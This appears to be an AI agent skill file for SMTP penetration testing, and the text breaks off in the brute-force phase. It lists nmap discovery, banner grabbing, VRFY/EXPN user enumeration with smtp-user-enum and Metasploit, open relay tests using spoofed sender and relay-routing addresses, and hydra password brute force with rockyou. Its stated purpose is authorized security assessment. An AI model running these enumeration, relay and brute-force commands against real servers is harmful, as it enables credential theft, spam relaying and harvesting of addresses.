| name | smtp-penetration-testing |
| description | This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email cre... |
| category | Security & Systems |
| source | antigravity |
| tags | ["ai","workflow","document","security","vulnerability"] |
| url | https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/smtp-penetration-testing |
SMTP Penetration Testing
Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
Prerequisites
Required Tools
sudo apt-get install nmap
sudo apt-get install netcat
sudo apt-get install hydra
sudo apt-get install smtp-user-enum
msfconsole
Required Knowledge
- SMTP protocol fundamentals
- Email architecture (MTA, MDA, MUA)
- DNS and MX records
- Network protocols
Required Access
- Target SMTP server IP/hostname
- Written authorization for testing
- Wordlists for enumeration and brute force
Outputs and Deliverables
- SMTP Security Assessment Report - Comprehensive vulnerability findings
- User Enumeration Results - Valid email addresses discovered
- Relay Test Results - Open relay status and exploitation potential
- Remediation Recommendations - Security hardening guidance
Core Workflow
Phase 1: SMTP Architecture Understanding
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Phase 2: SMTP Service Discovery
Identify SMTP servers and versions:
nmap -p 25,465,587,2525 -sV TARGET_IP
nmap -sV -sC -p 25 TARGET_IP
nmap --script=smtp-* -p 25 TARGET_IP
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
Phase 3: Banner Grabbing
Retrieve SMTP server information:
telnet TARGET_IP 25
nc TARGET_IP 25
nmap -sV -p 25 TARGET_IP
EHLO test
Parse banner information:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
Phase 4: SMTP Command Enumeration
Test available SMTP commands:
nc TARGET_IP 25
EHLO attacker.com
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
Key commands to test:
VRFY admin
250 2.1.5 admin@target.com
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
Phase 5: User Enumeration
Enumerate valid email addresses:
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
Using Nmap:
nmap --script smtp-enum-users -p 25 TARGET_IP
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
Phase 6: Open Relay Testing
Test for unauthorized email relay:
nmap -p 25 --script smtp-open-relay TARGET_IP
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
Test variations:
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>
Phase 7: Brute Force Authentication
Test for weak SMTP credentials:
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
hydra -L users.tx